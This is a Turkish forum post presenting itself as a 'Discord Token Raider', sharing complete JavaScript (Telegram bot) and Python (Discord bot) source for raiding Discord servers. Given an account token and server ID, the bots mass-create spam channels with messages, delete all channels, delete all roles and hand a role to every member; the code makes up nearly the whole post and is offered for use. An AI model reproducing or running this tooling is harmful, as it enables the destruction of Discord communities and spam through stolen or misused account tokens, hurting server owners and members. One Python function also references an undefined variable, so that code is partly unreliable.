s4turnxddd
Uzman Üye
- Katılım
- 13 Nis 2024
- Mesajlar
- 527
- Beğeniler
- 77
- İletişim
Merhaba Başlıktan Anlayamamış Olabilirsiniz Kodları Paylaşcam Anlarsınız Binevi Telegram ve Discord Bot ile Discord Token Raider Kodlar Aşağıda Ve Gene Arkadaşım @erlown ile Yaptık
TELEGRAM:
DISCORD:
TELEGRAM:
JavaScript:
const TelegramBot = require('node-telegram-bot-api');
const axios = require('axios');
const bot = new TelegramBot('<TELEGRAM BOTUNUN TOKENi>', {polling: true});
bot.onText(/\/start/, (msg) => {
bot.sendMessage(msg.chat.id, '#0');
});
bot.onText(/\/generatechannel (.+)/, async (msg, match) => {
const chatId = msg.chat.id;
const params = match[1].split(' ');
const account_token = params[0];
const guild_id = parseInt(params[1]);
const adet = parseInt(params[2]);
const selamm = parseInt(params[3]);
const kanal_ismi = params[4];
const mesaj = params.slice(5).join(' ');
const headers = {
'Authorization': account_token,
'Content-Type': 'application/json'
};
const baseUrl = `https://discord.com/api/v9/guilds/${guild_id}/channels`;
const createChannel = async (channelName) => {
const json_data = {
name: channelName,
type: selamm
};
try {
const response = await axios.post(baseUrl, json_data, { headers });
if (response.status === 201) {
const channelId = response.data.id;
if (mesaj) {
const messageUrl = `https://discord.com/api/v9/channels/${channelId}/messages`;
const messageData = {
content: mesaj
};
await axios.post(messageUrl, messageData, { headers });
}
console.log(`#1: ${channelName}`);
} else {
console.log(`#2: ${response.status}`);
}
} catch (error) {
console.error(`#2: ${error}`);
}
};
for (let i = 1; i <= adet; i++) {
await createChannel(`${kanal_ismi}-${i}`);
}
bot.sendMessage(chatId, '#1');
});
bot.onText(/\/deleteallchannel (.+)/, async (msg, match) => {
const chatId = msg.chat.id;
const params = match[1].split(' ');
const account_token = params[0];
const guild_id = parseInt(params[1]);
const headers = {
'Authorization': account_token
};
const baseUrl = `https://discord.com/api/v9/guilds/${guild_id}/channels`;
try {
const response = await axios.get(baseUrl, { headers });
if (response.status === 200) {
const channels = response.data;
const deleteTasks = channels.map(channel => {
const deleteUrl = `https://discord.com/api/v9/channels/${channel.id}`;
return axios.delete(deleteUrl, { headers });
});
await Promise.all(deleteTasks);
bot.sendMessage(chatId, '#1');
} else {
bot.sendMessage(chatId, `#2: ${response.status}`);
}
} catch (error) {
console.error(`#2: ${error}`);
}
});
bot.onText(/\/roleaddallusers (.+)/, async (msg, match) => {
const chatId = msg.chat.id;
const params = match[1].split(' ');
const account_token = params[0];
const guild_id = parseInt(params[1]);
const role_id = parseInt(params[2]);
const headers = {
'Authorization': account_token,
'Content-Type': 'application/json'
};
const baseUrl = `https://discord.com/api/v9/guilds/${guild_id}/members`;
try {
const response = await axios.get(baseUrl, { headers });
if (response.status === 200) {
const members = response.data;
const roleTasks = members.map(member => {
const roleUrl = `https://discord.com/api/v9/guilds/${guild_id}/members/${member.user.id}/roles/${role_id}`;
return axios.put(roleUrl, {}, { headers });
});
await Promise.all(roleTasks);
bot.sendMessage(chatId, '#1');
} else {
bot.sendMessage(chatId, `#2: ${response.status}`);
}
} catch (error) {
console.error(`#2: ${error}`);
}
});
bot.onText(/\/deleteallroles (.+)/, async (msg, match) => {
const chatId = msg.chat.id;
const params = match[1].split(' ');
const account_token = params[0];
const guild_id = parseInt(params[1]);
const headers = {
'Authorization': account_token
};
const baseUrl = `https://discord.com/api/v9/guilds/${guild_id}/roles`;
try {
const response = await axios.get(baseUrl, { headers });
if (response.status === 200) {
const roles = response.data;
const deleteTasks = roles.map(role => {
const roleId = role.id;
if (roleId !== guild_id) {
const deleteUrl = `https://discord.com/api/v9/guilds/${guild_id}/roles/${roleId}`;
return axios.delete(deleteUrl, { headers });
}
}).filter(Boolean);
await Promise.all(deleteTasks);
bot.sendMessage(chatId, '#1');
} else {
bot.sendMessage(chatId, `#2: ${response.status}`);
}
} catch (error) {
console.error(`#2: ${error}`);
}
});
bot.onText(/\/help/, (msg) => {
const helpText = `
/generatechannel <account_token> <guild_id> <adet> <turu>(0) <kanal_ismi> <mesaj> - Kanal oluşturma komutu.
/deleteallchannel <account_token> <guild_id> - Tüm kanalları silme komutu.
/roleaddallusers <account_token> <guild_id> <role_id> - Tüm herkeze rol verme komutu.
/deleteallroles <account_token> <guild_id> - Tüm rolleri silme komutu.
`;
bot.sendMessage(msg.chat.id, helpText);
});
DISCORD:
Python:
import discord
from discord.ext import commands
import requests
import asyncio
import aiohttp
intents = discord.Intents.all()
intents.guilds = True
intents.messages = True
intents.message_content = True
bot = commands.Bot(command_prefix='.', intents=intents, help_command=None)
@bot.event
async def on_ready():
print(f'#0')
@bot.command()
async def generatechannel(ctx, account_token: str, guild_id: int, adet: int, selamm: int, kanal_ismi: str, *mesaj):
headers = {
'Authorization': account_token,
'Content-Type': 'application/json'
}
base_url = f"https://discord.com/api/v9/guilds/{guild_id}/channels"
mesaj = ' '.join(mesaj) if mesaj else None
async def create_channel(session, channel_name):
json_data = {
'name': channel_name,
'type': selamm
}
async with session.post(base_url, headers=headers, json=json_data) as response:
if response.status == 201:
print(f"#1: {channel_name}")
if mesaj:
channel_id = (await response.json()).get('id')
message_url = f"https://discord.com/api/v9/channels/{channel_id}/messages"
message_data = {
'content': mesaj
}
async with session.post(message_url, headers=headers, json=message_data) as message_response:
if message_response.status == 200:
print(f"#1 {mesaj}")
else:
print(f"#2 {message_response.status}")
else:
print(f"#2 {response.status}")
async with aiohttp.ClientSession() as session:
tasks = [create_channel(session, f"{kanal_ismi}-{i}") for i in range(1, adet + 1)]
await asyncio.gather(*tasks)
await ctx.send(f"#1")
@bot.command()
async def deleteallchannel(ctx, account_token: str, guild_id: int):
headers = {
'Authorization': account_token
}
base_url = f"https://discord.com/api/v9/guilds/{guild_id}/channels"
async with aiohttp.ClientSession() as session:
async with session.get(base_url, headers=headers) as response:
if response.status == 200:
channels = await response.json()
tasks = []
for channel in channels:
channel_id = channel['id']
delete_url = f"https://discord.com/api/v9/channels/{channel_id}"
tasks.append(session.delete(delete_url, headers=headers))
await asyncio.gather(*tasks)
await ctx.send(f"#1")
else:
await ctx.send(f"#2 {response.status}")
@bot.command()
async def roleaddallusers(ctx, account_token: str, guild_id: int, role_id: int):
headers = {
'Authorization': account_token,
'Content-Type': 'application/json'
}
base_url = f"https://discord.com/api/v9/guilds/{guild_id}/members"
async def add_role(session, member_id):
role_url = f"https://discord.com/api/v9/guilds/{guild_id}/members/{member_id}/roles/{role_id}"
async with session.put(role_url, headers=headers) as response:
if response.status == 204:
print(f"#1: {member_id}")
else:
print(f"#2: {response.status}")
async with aiohttp.ClientSession() as session:
async with session.get(base_url, headers=headers) as response:
if response.status == 200:
members = await response.json()
tasks = []
for member in members:
member_id = member['user']['id']
tasks.append(add_role(session, member_id))
await asyncio.gather(*tasks)
await ctx.send("#1")
else:
await ctx.send(f"#2 {response.status}")
@bot.command()
async def deleteallroles(ctx, account_token: str, guild_id: int):
headers = {
'Authorization': account_token
}
base_url = f"https://discord.com/api/v9/guilds/{guild_id}/roles"
async with aiohttp.ClientSession() as session:
async with session.get(base_url, headers=headers) as response:
if response.status == 200:
roles = await response.json()
tasks = []
for role in roles:
roleid = role['id']
if roleid != guild_id:
deleteurl = f"https://discord.com/api/v9/guilds/{guild_id}/roles/{role_id}"
tasks.append(session.delete(deleteurl, headers=headers))
await asyncio.gather(*tasks)
await ctx.send("#1")
else:
await ctx.send(f"#2 {response.status}")
@bot.command()
async def help(ctx):
embed = discord.Embed(title="Help Menu", color=0x00ff00)
embed.add_field(name=".generatechannel", value="Kanal oluşturma komutu. Kullanımı: .generatechannel <account_token> <guild_id> <adet> <turu>(0) <kanal_ismi> <mesaj>", inline=True)
embed.add_field(name=".deleteallchannel", value="Tüm kanalları silme komutu. Kullanımı: .deleteallchannel <account_token> <guild_id>", inline=True)
embed.add_field(name=".roleaddallusers", value="Tüm herkeze rol verme komutu. Kullanımı: .roleaddallusers <account_token> <guild_id> <role_id>", inline=True)
embed.add_field(name=".deleteallroles", value="Tüm rolleri silme komutu. Kullanımı: .deleteallroles <account_token> <guild_id>", inline=True)
await ctx.send(embed=embed)
bot.run('')